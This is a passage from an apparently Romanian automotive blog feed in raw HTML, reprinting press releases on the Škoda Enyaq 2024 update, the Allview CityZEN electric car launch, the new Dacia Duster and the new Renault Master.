varianta Coupé. Modelul de intrare în gamă este Enyaq 60 și a rămas neschimbat
din punct de vedere tehnic. Înscrisul de pe hayonul modelelor Enyaq ale anului
2024, precum și toate emblemele corespund acum noului Corporate Identity al
mărcii. În acest sens se face remarcat și faptul că denumirea nu mai conține
acum acronimul iV, cum era cazul până în prezent.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><b><span style="color: #1d2228;"><span style="font-family: arial;">Putere de încărcare mai mare și încărcare
mai rapidă pentru versiunile cu tracțiune integrală<o:p></o:p></span></span></b></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><span style="color: #1d2228;">Versiunile cu
tracțiune integrală Enyaq 85x și Enyaq RS impresionează acum cu performanțe de
încărcare și mai bune, cu o putere crescută de încărcare în curent continuu la
stațiile de încărcare rapidă de până la 175 kW. <a name="_Hlk151017041"></a><span style="mso-bookmark: _Hlk151017041;">Încărcarea
bateriei de înaltă tensiune de 82 kWh (77 kWh net) </span><span style="mso-bookmark: _Hlk151017041;">de la 10% la 80% durează acum doar 28 de
minute, adică cu 8 minute sau 22% mai puțin.</span> Variantele Enyaq 85 cu
tracțiune spate se încarcă și în continuare la maximum 135 kW.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><b style="mso-bidi-font-weight: normal;"><span style="color: #1d2228;"><span style="font-family: arial;">Softul nou extinde funcționalitățile automobilului<span style="mso-bidi-font-weight: bold;"><o:p></o:p></span></span></span></b></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><span style="color: #1d2228;">Cu noul său soft
de bord, familia Enyaq permite acum și funcția de pregătire a bateriei pentru
încărcare. Această funcție preîncălzește bateria în vederea încărcării în
curent continu, atunci când afară este rece și optimizează viteza de încărcare
cu până la 22%. De asemenea, noua interfață se face remarcată cu o structură
mai intuitivă a meniului. Astfel, de pildă, cei de la volan pot defini
shortcut-uri pentru cele mai frecvent utilizate setări și aplicații. Sistemul
de navigație dispune acum de o nouă grafică pentru hărți și de o suprafață mai
mare de afișare a hărții. Printre alte caracteristici noi ale softului se
numără și funcția Walkaway a sistemului de acces fără cheie KESSY. Aceasta
încuie acum ușile automat atunci când proprietarul se îndepărtează de
automobil, având cheile asupra sa.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><b><span style="color: #1d2228;"><span style="font-family: arial;">Enyaq L&K oferă o echipare standard
extrem de generoasă și luxoasă<o:p></o:p></span></span></b></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><span style="color: #1d2228;">Gama Enyaq este
completată acum cu versiunea elegantă L&K. Această linie de echipare
populară oferă o selecție foarte amplă de dotări standard. Printre acestea se
numără farurile LED Matrix și blocurile optice spate cu LED și cu lumini de
semnalizare dinamice, precum și grila frontală cromată, ce include luminile
distinctive și spectaculoase Crystal Face, compuse din 131 de LED-uri. De
asemenea, Enyaq L&K este echipat cu jante din aliaj exclusive, de 20 sau 21
de inchi. Barele, difuzorul și oglinzile exterioare prezintă detalii finisate
în nuanța sofisticată Gri Platinum, iar pragurile laterale sunt vopsite în
culoarea caroseriei. La interiorul modelului Enyaq L&K atrag atenția
scaunele față încălzite, ventilate și controlate electric, ce oferă inclusiv
funcție de memorie și funcție de masaj și sunt rafinate cu emblema L&K
brodată pe tetiere.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">* Puterea maximă a fost determinată conform
UN GTR.21. Puterea maximă este accesibilă atunci când bateria de înaltă
tensiune dispune de nivelul maxim de încărcare (SoC) și când operează în
limitele intervalului său optim de temperatură. Puterea disponibilă variază în
funcție de situația de mers și este influențată de diferiți factori, ca de
pildă de temperatura bateriei de înaltă tensiune, de nivelul său de încărcare
și de vechimea fizică a bateriei.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><span style="color: #1d2228;">Sursa: </span><span lang="EN-US" style="color: #1d2228;">Patricia Zegreanu,
Marketing & Communication Manager ŠKODA</span></span><span style="color: #1d2228; font-family: "Arial",sans-serif; mso-ansi-language: RO;"><o:p></o:p></span></p>Constantin Hribanhttp://www.blogger.com/profile/16164390325687512083noreply@blogger.com0tag:blogger.com,1999:blog-4466149833957395360.post-66748811817635350832023-12-12T15:43:00.003+02:002023-12-12T15:43:51.571+02:00Allview intră oficial pe piața de mașini electrice, cu modelul CityZEN<p><span style="font-family: arial;"> </span></p><div class="separator" style="clear: both; text-align: center;"><span style="font-family: arial;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFbMekYnp7glz7xwbS9XPmAE9uRmFddfjbt7bN5uN2rqZZ5Uo3qkK1mT1JB06geQqSrlQmTaKcOExDTuTyD4XG-ncbTHkAs4ORjaiFntfCJgXqFHTFriYK_640gJgAUKlRgZH7nZc4U325pdHxXhWvp-CRNke07Yvzss05q8nLI7aKChGk7Go1H_-dvg56/s744/Allview-Auto-CityZEN.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Allview Auto CityZEN" border="0" data-original-height="372" data-original-width="744" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFbMekYnp7glz7xwbS9XPmAE9uRmFddfjbt7bN5uN2rqZZ5Uo3qkK1mT1JB06geQqSrlQmTaKcOExDTuTyD4XG-ncbTHkAs4ORjaiFntfCJgXqFHTFriYK_640gJgAUKlRgZH7nZc4U325pdHxXhWvp-CRNke07Yvzss05q8nLI7aKChGk7Go1H_-dvg56/s16000/Allview-Auto-CityZEN.jpg" title="Allview intră oficial pe piața de mașini electrice" /></a></span></div><span style="font-family: arial;"><br /></span><p></p><p class="MsoNormal" style="text-align: justify;"><b><span style="color: #1d2228;"><span style="font-family: arial;">Azi, 12 decembrie, Allview, brandul local
lider în industria electronicelor, anunță lansarea oficială a modelului
CityZEN, o mașină electrică dedicată în primul rând traficului urban și
deplasărilor extraurbane scurte, ce poate fi condusă de la 16 ani.</span></span></b></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Lansarea marchează extinderea activității
cu o nouă linie de business, ALLVIEW AUTO, ce are ca obiectiv principal oferirea
de soluții de mobilitate sustenabilă și accesibilă, răspunzând astfel, nevoilor
critice de mediu ale societății și ale clienților.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><span lang="PT-BR" style="color: #1d2228;">„<i>Decizia
de a deschide o nouă linie de business, este un pas firesc în dezvoltarea
business-ului nostru.</i> <i>În cei peste 20 de ani de activitate, compania s-a
reinventat și adaptat continuu la tendințele globale, pentru a rămâne alături
de clienți și pentru a le oferi soluții accesibile. Într-un domeniu de
activitate aflat într-o permanentă schimbare și dezvoltare, este esențial nu
doar să identifici domeniile și industriile în cadrul cărora un nou val de
inovare este în plină desfășurare, ci </i></span><i><span style="color: #1d2228;">și să identifici plusul
de valoare pe care îl poți adăuga.</span></i><i><span style="color: #1d2228;"> <span lang="PT-BR">D</span></span></i><i><span style="color: #1d2228;">atorită
i</span></i><i><span lang="PT-BR" style="color: #1d2228;">storiei </span></i><i><span style="color: #1d2228;">companiei
</span></i><i><span lang="PT-BR" style="color: #1d2228;">și a sinergiilor dintre diferitele
activități, mărci specializate și competențe, credem că avem know-how-ul
necesar pentru a avea un impact pe piața de e-mobility”, a declarat Lucian
Peticilă, CEO Allview<b>.</b></span></i></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">CityZEN este alegerea ideală pentru șoferii
începători, elevii de 16 ani+, cupluri sau ca al doilea vehicul al unei
familii. Indiferent de scenariu, alegerea noului vehicul electric este
câștigătoare.</span></span></p><p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"></span></p><div class="separator" style="clear: both; text-align: center;"><span style="color: #1d2228;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikz86O8mPb-LawMOyhfMdwIGcfrw7xE7R6EBALnGVm_8Mn-q4qL0H9s0J2qHELlhEnt1XIOF0IOqDHFxARHP4l-x8ze-WWwYRFI-o_Pu-vdqJEpBb8rEG5YSAynxdn694VjLDWL-R29OJC6_ELg8ih88XrOZJVvp4kyJA38epdmZ_ADahK4YnikVgw1DHv/s744/Allview-Auto-CityZEN-cadru-urban.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Allview Auto CityZEN - cadru urban" border="0" data-original-height="495" data-original-width="744" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikz86O8mPb-LawMOyhfMdwIGcfrw7xE7R6EBALnGVm_8Mn-q4qL0H9s0J2qHELlhEnt1XIOF0IOqDHFxARHP4l-x8ze-WWwYRFI-o_Pu-vdqJEpBb8rEG5YSAynxdn694VjLDWL-R29OJC6_ELg8ih88XrOZJVvp4kyJA38epdmZ_ADahK4YnikVgw1DHv/s16000/Allview-Auto-CityZEN-cadru-urban.jpg" title="Allview intră oficial pe piața de mașini electrice" /></a></span></div><p></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><i><span style="color: #1d2228;">„Până la momentul lansării oficiale, modelul
electric a fost prezentat în diferite contexte, oferindu-ne posibilitatea de a colecta
feed-back-ul real al clienților. Reacțiile au fost extrem de pozitive, ceea ce
ne întărește convingerea că acest model va ocupa un loc important în piață”,</span></i><span style="color: #1d2228;"> a adăugat
Marketing Managerul Allview.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">CityZEN, oferă dotări de segment superior, rămânând
totuși accesibil. Modelul electric pune la dispoziție o gamă complexă de
echipamente şi tehnologii care asigură un nivel înalt de confort și siguranță:<o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"></p><ul><li style="text-align: justify;"><span style="font-family: arial;"><span style="color: #1d2228;">singurul sistem de camere din piață, cu
vedere panoramică 360</span><span lang="PT-BR" style="color: #1d2228;">°</span><span style="color: #1d2228;">, din categoria sa de preț<o:p></o:p></span></span></li><li style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">centru de infotainment cu două ecrane color
de 10.25" fiecare</span></span></li><li style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">comenzi pe volan (audio, volum, butoane
preluare / închidere apel)</span></span></li><li style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">airbag șofer și caroserie cu întărituri din
oțel</span></span></li><li style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">sistem detectare presiune pneuri</span></span></li><li style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">selector de viteze cu treaptă SPORT</span></span></li><li style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">portbagaj voluminos de 816 litri, ideal
pentru serviciile de curierat la comandă</span></span></li><li style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">închidere centralizată cu telecomandă pe
cheie</span></span></li><li style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">oglinzi retrovizoare electrice </span></span></li><li style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">închiderea și deschiderea geamurilor din
telecomandă</span></span></li></ul><p></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Conform Goldman Sachs „Journal of Modern
Power Systems and Clean Energy”, distanțele zilnice parcurse în majoritatea
țărilor variază în medie între 40 și 60 km. Astfel, cu un consum de 8 kW/100 km
și o autonomie de până la 170 km WLTP în ciclu urban, CityZEN acoperă cu
ușurință aceste distanțe, indiferent de traseul clientului.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><b><span style="color: #1d2228;"><span style="font-family: arial;">Design cu atitudine, gata să învingă cele
mai mari provocări urbane<o:p></o:p></span></span></b></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">La exterior, CityZEN se remarcă printr-un
design care atrage priviri, dimensiuni compacte și culori urbane. Clienții pot
alege dintr-o gamă de patru nuanțe de caroserie: CYAN BREEZE, SEREN GREY, PINK
BLOSSOM și PURE WHITE. Pentru a sporii atractivitatea modelului, bara din față integrează
perforații ce imită cerul înstelat, impunând un nou standard pentru
estetica mobilității electrice accesibile.</span></span></p><p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"></span></p><div class="separator" style="clear: both; text-align: center;"><span style="color: #1d2228;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc0oPEmRpwnHSA2JvX30ehmkQ7hAyGbPag3AfOkKSd1iSzh4-w6FT449c7pqPF7fWKb3n_RNTCp9hPBmsa59bgRXhqdG2-mtj-n7W-iR8htfa4zoXYu8M0iA_57x4T_LWvrz865XdV0iNDMswHtl3WdmYvyfArUGomqdqaAUI-U0adSXIa1X2aznd4dH2d/s744/Allview-Auto-CityZEN-volan-multifunctional.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Allview Auto CityZEN - volan multifuncțional" border="0" data-original-height="497" data-original-width="744" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc0oPEmRpwnHSA2JvX30ehmkQ7hAyGbPag3AfOkKSd1iSzh4-w6FT449c7pqPF7fWKb3n_RNTCp9hPBmsa59bgRXhqdG2-mtj-n7W-iR8htfa4zoXYu8M0iA_57x4T_LWvrz865XdV0iNDMswHtl3WdmYvyfArUGomqdqaAUI-U0adSXIa1X2aznd4dH2d/s16000/Allview-Auto-CityZEN-volan-multifunctional.jpg" title="Allview intră oficial pe piața de mașini electrice" /></a></span></div><span style="color: #1d2228;"><b><span style="color: #1d2228;"><span style="font-family: arial;">Interior încăpător și stilizat</span></span></b></span><p></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Noul vehicul electric nu face compromisuri
nici în ceea ce privește spațiul interior. Echipat cu un interior modern, în
culori asortate cu exteriorul mașinii, CityZEN reflectă o atenție deosebită la
detalii. Habitaclul său, generos și confortabil, este completat de un portbagaj
cu o capacitate substanțială de 816 litri.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Modelele CityZEN beneficiază de 5 ani
garanție, în limita a 80.000 km pentru baterie și 24 luni, în limita a 50.000 km,
garanție comercială.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Pentru a răspunde așteptărilor clienților,
modelul va avea un preț de vânzare de <b>7990 EUR (TVA inclus</b>), preț
valabil cu programul Rabla Plus, în condițiile menținerii valorii voucherului
oferit în 2023.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">CityZEN poate fi comandat direct de pe
site-ul companiei <b>www.allview-auto.ro</b> sau prin rețeaua de dealeri autorizați
Allview Auto, începând de astăzi.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Compania intenționează să lanseze cel puțin
încă două modele electrice în 2024, inclusiv un mini SUV, pentru a acomoda mai
multe tipuri de nevoi.</span></span></p><p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"></span></p><div class="separator" style="clear: both; text-align: center;"><span style="color: #1d2228;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-9lZJDf83Iqqj1e_fxe2ASUENvFm0f9LOFZFYL_5Is2Oob6WlJv-OTtjr6W1AbLzWoXwyHZMKjO7H49MT12mCBDnSoll2DFkRfOy_SdvAb8104E7o56J44MTDiAK88nBG6TMB8CuLawCBI524sk4v3a03rsT-0AsB9wXISUSMAznZdJC0X1PXph8JUPkF/s744/Allview-Auto-CityZEN-exterior.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Allview Auto CityZEN - exterior" border="0" data-original-height="495" data-original-width="744" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-9lZJDf83Iqqj1e_fxe2ASUENvFm0f9LOFZFYL_5Is2Oob6WlJv-OTtjr6W1AbLzWoXwyHZMKjO7H49MT12mCBDnSoll2DFkRfOy_SdvAb8104E7o56J44MTDiAK88nBG6TMB8CuLawCBI524sk4v3a03rsT-0AsB9wXISUSMAznZdJC0X1PXph8JUPkF/s16000/Allview-Auto-CityZEN-exterior.jpg" title="Allview intră oficial pe piața de mașini electrice" /></a></span></div><p></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Despre Visual Fan S.A. </span></b><span style="color: #1d2228;"><o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Visual Fan S.A., deținătoarea brandului
Allview (simbol bursier ALW), este o companie românească cu o vastă experiență
în producția de dispozitive mobile inteligente, sisteme Smart Home, tablete,
laptopuri și alte gadgeturi. Fondată în 2002 în Brașov, Visual Fan a devenit
cunoscută drept un vizionar și pionier în domeniul tehnologic, lansând produse
inovatoare care aduc tehnologia la îndemâna utilizatorilor. Compania este
recunoscută pentru lansarea celui mai complex sistem Smart Home din România în
2016, pentru crearea primului asistent vocal în limba română - AVI, în 2017, și
pentru încheierea unui parteneriat direct cu Google Android TV™ în 2019.
Allview a fost, de asemenea, primul brand românesc care a adoptat tehnologia
QLED în 2020. În continuarea demersurilor sale de inovare, în 2022, compania a
lansat conceptul Green by Allview, ce integrează noi domenii de activitate cu
un obiectiv clar: construirea unui viitor sustenabil pentru creșterea calitații
vieții în ansamblu și a grijii pentru generațiile viitoare. În 2023, aplicația
Allview AVI ChatGPT a primit un update important prin adăugarea unui model de
limbaj natural antrenat de inteligența artificială (AI). Allview continuă să
investească în cercetare și dezvoltare și își propune să creeze un robot
inteligent - asistent personal în viitor.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><span style="color: #1d2228;">Sursa: </span><span lang="EN-US" style="color: #1d2228;">Olivia Dragomir, Brand
Manager Allview</span></span><span face=""Arial",sans-serif" style="color: #1d2228; mso-ansi-language: RO;"><o:p></o:p></span></p>Constantin Hribanhttp://www.blogger.com/profile/16164390325687512083noreply@blogger.com0tag:blogger.com,1999:blog-4466149833957395360.post-50114258402228209372023-11-29T15:06:00.005+02:002023-12-12T16:04:35.695+02:00Mai Duster decât oricând! Noul Duster continuă o poveste de succes!<p><span style="font-family: arial;"> </span></p><div class="separator" style="clear: both; text-align: center;"><span style="font-family: arial;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZXY7FCm-x_z74bJ01hSfl0YuAMLXzO2TyjOHl3x5NfAdZFMVPuIfTjKjsic8atEOsk3HTCXVoTXpJ3b0Pux6p3wt_nBxLXSSDoiGfG0ayXhAIZPSNybvGQMDua4TSQxl1xQAls8F_q68c7YLexH41yI2oQ1d0BHAHm4JxEvmej5k-fgCwCslErFjukmCZ/s744/noua-dacia-duster.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Noua Dacia Duster" border="0" data-original-height="419" data-original-width="744" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZXY7FCm-x_z74bJ01hSfl0YuAMLXzO2TyjOHl3x5NfAdZFMVPuIfTjKjsic8atEOsk3HTCXVoTXpJ3b0Pux6p3wt_nBxLXSSDoiGfG0ayXhAIZPSNybvGQMDua4TSQxl1xQAls8F_q68c7YLexH41yI2oQ1d0BHAHm4JxEvmej5k-fgCwCslErFjukmCZ/s16000/noua-dacia-duster.jpg" title="Mai Duster decât oricând!" /></a></span></div><span style="font-family: arial;"><br /></span><p></p><p class="MsoNormal" style="text-align: justify;"><b><u><span style="color: #1d2228;"><span style="font-family: arial;">Dacia prezintă a treia
generație a modelului Duster.<o:p></o:p></span></span></u></b></p>
<p class="MsoNormal" style="text-align: justify;"><b><u><span style="color: #1d2228;"><span style="font-family: arial;">Un design mai robust și
cu mai multă personalitate.<o:p></o:p></span></span></u></b></p>
<p class="MsoNormal" style="text-align: justify;"><b><u><span style="color: #1d2228;"><span style="font-family: arial;">Construit pe platforma
CMF-B, modelul oferă o experiență superioară la volan. <o:p></o:p></span></span></u></b></p>
<p class="MsoNormal" style="text-align: justify;"><b><u><span style="color: #1d2228;"><span style="font-family: arial;">Versiunea 4x4 a noului
Duster duce capacitățile off-road la un alt nivel.<o:p></o:p></span></span></u></b></p>
<p class="MsoNormal" style="text-align: justify;"><b><u><span style="color: #1d2228;"><span style="font-family: arial;">Materiale mai rezistente
și motorizări hibride.<o:p></o:p></span></span></u></b></p>
<p class="MsoNormal" style="text-align: justify;"><b><u><span style="color: #1d2228;"><span style="font-family: arial;">Noi tehnologii, pentru
un plus de siguranță și confort.<o:p></o:p></span></span></u></b></p>
<p class="MsoNormal" style="text-align: justify;"><b><u><span style="color: #1d2228;"><span style="font-family: arial;">Totul este nou, mai
puțin ceea ce este esențial: Duster rămâne SUV-ul de familie cu cel mai bun
raport preț/prestații de pe piață!<o:p></o:p></span></span></u></b></p>
<p class="MsoNormal" style="text-align: justify;"><b><u><span style="color: #1d2228;"><span style="font-family: arial;">Noul Duster va fi
fabricat la uzina de la Mioveni.</span></span></u></b><span style="color: #1d2228;"><o:p><span style="font-family: arial;"> </span></o:p></span><span style="color: #1d2228; font-family: arial;"> </span></p>
<p class="MsoNormal" style="text-align: justify;"><b><span style="color: #1d2228;"><span style="font-family: arial;"><br /></span></span></b></p><p class="MsoNormal" style="text-align: justify;"><b><span style="color: #1d2228;"><span style="font-family: arial;">„Mai Duster decât oricând”: noul Duster
continuă povestea de succes a unui model care a devenit o referință pe piață și
o adevărată emblemă a mărcii Dacia și a valorilor sale: Robustă și Outdoor,
Esențială și Cool, Eco-Smart. Lansat în 2010, reînnoit pentru prima oară în
2017, Duster s-a impus prin modul atipic de abordare a segmentului SUV. </span></span></b></p><p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">
Duster este o adevărată poveste de succes. În 13 ani de carieră, modelul a fost
recompensat cu peste 40 de premii și a fost produs în peste 2,2 milioane de
exemplare. În 2022, Duster a fost cel mai vândut SUV din Europa către clienții
persoane fizice. Zilnic, aproape 1.000 de vehicule Duster ies de pe linia de
asamblare a uzinei Dacia de la Mioveni, ceea ce echivalează cu o cadență
apropiată de un vehicul pe minut!</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><b><span style="color: #1d2228;"><span style="font-family: arial;">UN DESIGN REINVENTAT, MAI ROBUST, CU MAI
MULTĂ PERSONALITATE<o:p></o:p></span></span></b></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Duster își reinventează designul. Modelul
își păstrează toate calitățile estetice care au contribuit la succesul
generațiilor precedente, în special aspectul său robust, dar le aduce la un
nivel superior, adoptând cu mândrie noua identitate vizuală a mărcii.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><b><span style="color: #1d2228;"><span style="font-family: arial;">David Durand, Director de Design Dacia<o:p></o:p></span></span></b></p>
<p class="MsoNormal" style="text-align: justify;"><b><span style="color: #1d2228;"><span style="font-family: arial;">„Chiar înainte de a începe să lucrăm la
stilul noului Duster, am lucrat la proporțiile sale, pentru a-i da o postură
echilibrată … faptul că am început prin identificarea proporțiilor potrivite
ne-a permis să evităm ulterior orice artificiu de stil.”</span></span></b></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Alegerea a ceea ce este esențial, a ceea ce
contează cu adevărat: această filozofie a mărcii Dacia se aplică și în cazul
noului Duster.</span></span></p><p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">
Echipa de designeri a început lucrul pornind de la volume simple: habitaclul,
capota motorului, forma aripilor, etc. Apoi, a asamblat toate aceste elemente,
având ca rezultat un stil modern, cu planuri drepte și forme bine demarcate.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Simplitatea formelor și a volumelor se
reflectă în fiecare detaliu al designului, de la partea frontală verticală, la
pasajele proeminente ale roților, la hayonul amplu și la suprafețele vitrate
laterale demarcate de linii clare, de la portiera față până la geamul de
custodă. </span></span></p><p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">
Noul Duster dispune de un ansamblu de elemente de protecție care înconjoară
într-un mod armonios și inspirat întreaga parte inferioară a caroseriei, de la
bara frontală, continuând cu pasajele roților, cu protecțiile laterale și
terminând cu bara din spate. Impresia generală creată este cea a unui vehicul
robust, pregătit pentru incursiunile outdoor!</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Sursa: Dacia România</span><span style="font-family: Arial, sans-serif;"><o:p></o:p></span></span></p>Constantin Hribanhttp://www.blogger.com/profile/16164390325687512083noreply@blogger.com0tag:blogger.com,1999:blog-4466149833957395360.post-7771394315113159712023-11-13T10:56:00.001+02:002023-11-13T10:56:33.861+02:00Noul Renault Master, o siluetă regândită pentru mai multă eficiență<p><span style="font-family: arial;"> </span></p><div class="separator" style="clear: both; text-align: center;"><span style="font-family: arial;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjoOcVCcRsK5GlkEm9CQoCbWctZya-vwFUlc4vvMCPM6gE6WWP6pIPJPnM1WzDEXDn0zbY8RngG9uNhgWYZ-a1Kj9bxo-GzeLSH9kdvR4N0cA6pDGpFAUGxzCBXLTULalwS2QnCGsVFdYpogq6GuvIQed7oEgqTBkRWKYHPy02SxGv1_-c3oWHR4Gf4NnEZ/s744/noul-renault-master.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Noul Renault Master" border="0" data-original-height="419" data-original-width="744" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjoOcVCcRsK5GlkEm9CQoCbWctZya-vwFUlc4vvMCPM6gE6WWP6pIPJPnM1WzDEXDn0zbY8RngG9uNhgWYZ-a1Kj9bxo-GzeLSH9kdvR4N0cA6pDGpFAUGxzCBXLTULalwS2QnCGsVFdYpogq6GuvIQed7oEgqTBkRWKYHPy02SxGv1_-c3oWHR4Gf4NnEZ/s16000/noul-renault-master.jpg" title="Noul Renault Master, o siluetă regândită pentru mai multă eficiență" /></a></span></div><span style="font-family: arial;"><br /></span><p></p><ul style="margin-top: 0cm;" type="disc">
<li class="MsoNormal" style="color: #1d2228; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt; text-align: justify;"><span style="font-family: arial;"><b><u>Noul Renault Master își
dezvăluie silueta.</u></b><u><o:p></o:p></u></span></li>
<li class="MsoNormal" style="color: #1d2228; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt; text-align: justify;"><span style="font-family: arial;"><b><u>Un design « Aerovan »
conceput pentru o eficiență din ce în ce mai mare.</u></b><u><o:p></o:p></u></span></li>
<li class="MsoNormal" style="color: #1d2228; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt; text-align: justify;"><span style="font-family: arial;"><b><u>Consum redus cu până la
21% în versiunea 100% electrică și o economie de 1,5 l/100 km pentru
versiunea termică.</u></b><u><o:p></o:p></u></span></li>
<li class="MsoNormal" style="color: #1d2228; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt; text-align: justify;"><span style="font-family: arial;"><b><u>Vârful de lance al unei
noi generații de autoutilitare va fi prezentat la Solutrans în zilele
următoare.</u></b></span></li></ul>
<p class="MsoNormal" style="text-align: justify;"><b><span style="color: #1d2228;"><span style="font-family: arial;">O adevărată
„poveste de succes” vândută în peste 3 milioane de unități din 1980, Renault
Master se pregătește să treacă într-o noua etapă cu o nouă generație care va fi
prezentată în zilele următoare la Salonul Solutrans din Lyon, Franța.</span></span></b></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Noul Renault
Master va fi primul model din seria autoutilitarelor de ultimă generație, mai
eficiente, 100% conectate și inovatoare. Acest nou model a fost conceput pentru
o utilizare optimă, permițându-i să meargă și mai departe, cu cheltuieli mai
reduse și adaptându-se la nevoile actuale.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Datorită
designului său „aerovan” și unui nou sistem de frânare, noul Renault Master
permite o reducere a consumului de pana la 21% pentru versiunea electrică și
1,5 l/100 km pentru versiunea termică față de vechea generație.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Ca și
generațiile anterioare, noul model va fi produs la uzina Batilly din Franța,
unde și unitățile de producție au fost reproiectate pentru a funcționa într-un
mod nou și inovator.</span></span></p><p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">
<b>Mai multe informații vor urma în perioada următoare.</b></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Sursa: Renault
